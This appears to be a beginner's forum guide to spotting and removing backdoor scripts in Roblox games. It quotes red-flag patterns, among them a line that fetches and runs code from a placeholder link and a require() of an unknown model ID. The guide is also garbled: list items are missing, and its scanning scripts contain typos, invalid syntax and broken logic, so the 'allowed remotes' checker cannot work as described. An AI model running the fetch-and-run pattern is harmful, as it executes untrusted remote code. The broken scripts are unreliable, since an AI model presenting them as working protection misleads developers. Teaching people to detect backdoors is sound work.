Main ways to keep your games safe from malicious plugins, scripts, and models!
1st lets go over what a backdoor is, a backdoor is also known as a server-side into your game. It’s when a script or plugin insert’s a hidden script into your game Or a remote that allows the creator of the script to secretly control your game such as: Give Admin CMDS, Make Game Changes, update or delete the game, kick/ban players, give them selves items etc. Some times even access to your account!
What makes them so dangerous besides the fact they have 100% control over your game (or account) is that they do in secret, so you won’t know a thing until they start making changes to the game that are major, and now server-sides. Server-sides are exploits that do not only run on the client but on the server as well. They usually contain inappropriate animations/sounds/or images.
Ok so what can I do to prevent them.
The 1st and foremost thing you can do it Not to insert random models into your game, such as: Anti-Exploits, Admin Command’s, and random objects.
How to spot back doors? (In Scripts)
Red Flags Include but are not limited to:
1. Require function:
lcoal free bobux = require(-- Model ID) free bobux.load() -- or they can use free bobux.run()
2. Unknown Remotes:
local FREE ADMIN = Instance.new("RemoteEvent") FREE ADMIN.name = "Sus name here"
3. Random Purchase Prompts
loadstring(game:HttpGet(('SUS LINK HERE'),true))()
5. LoadSting Enabled = true
Make sure you have this feature off.
Open explorer > Click ServerScriptServer > Open Properties And Turn it off.
Just go ahead and delete that, there is no need for “Anti-lag” In your game
7. Fire with scripts
Ok so, let’s say after reading this you realize you may have a virus in your game, how would you remove it?
1. Find The Script!
You first want to locate the script, chances are that by now it may have hidden its self and maybe even have spread/replicated itself. So you want to run a scan to print all the names of the scripts and look for something you didn’t add.
Virus Locater Script:
for _, instance in ipairs(LOCATION:GetDescendants()) do if instance:IsA("Type Of Item here") then wait(1) print(instance:GetFullName()) end end
2. Look for anything hidden in your game!
File > Settings > Studio > Enable all 3
3. Tabe Of Allowed Remotes
This script will make sure that if any remotes are added and you didn’t put them there.
print("Scanning") local OkRemotes = "remote1", "remote2", -- add the names of YOUR Remotes here local insertion = instance.new("RemoteEvent") local insertion2 = instace.new("RemoteFunction") if insertion.name or insertion 2.name == OkRemotes or "Manually Insert Them Here" then print("Remotes Are Secure") else Print("WARNING: A remote that was on NOT on the table was added") --- end end here if you want to add anything else!
print("======SCANNING======") for _,v :Instance in ipairs(game:GetService("Selection"):Get()) do for _,des :Instance in ipairs(v:GetDescendants()) do if des:IsA("BaseScript") then print("Found Script:", des:GetFullName(),"Click to go:",des) i=i+1 end end end print("Found",i,"Scripts")
credit to @DrWhoInTARDIS For This Script
This a beginner’s guide to securing your game, there are more thing’s but these are the most common and most used. If this helped you you can leave a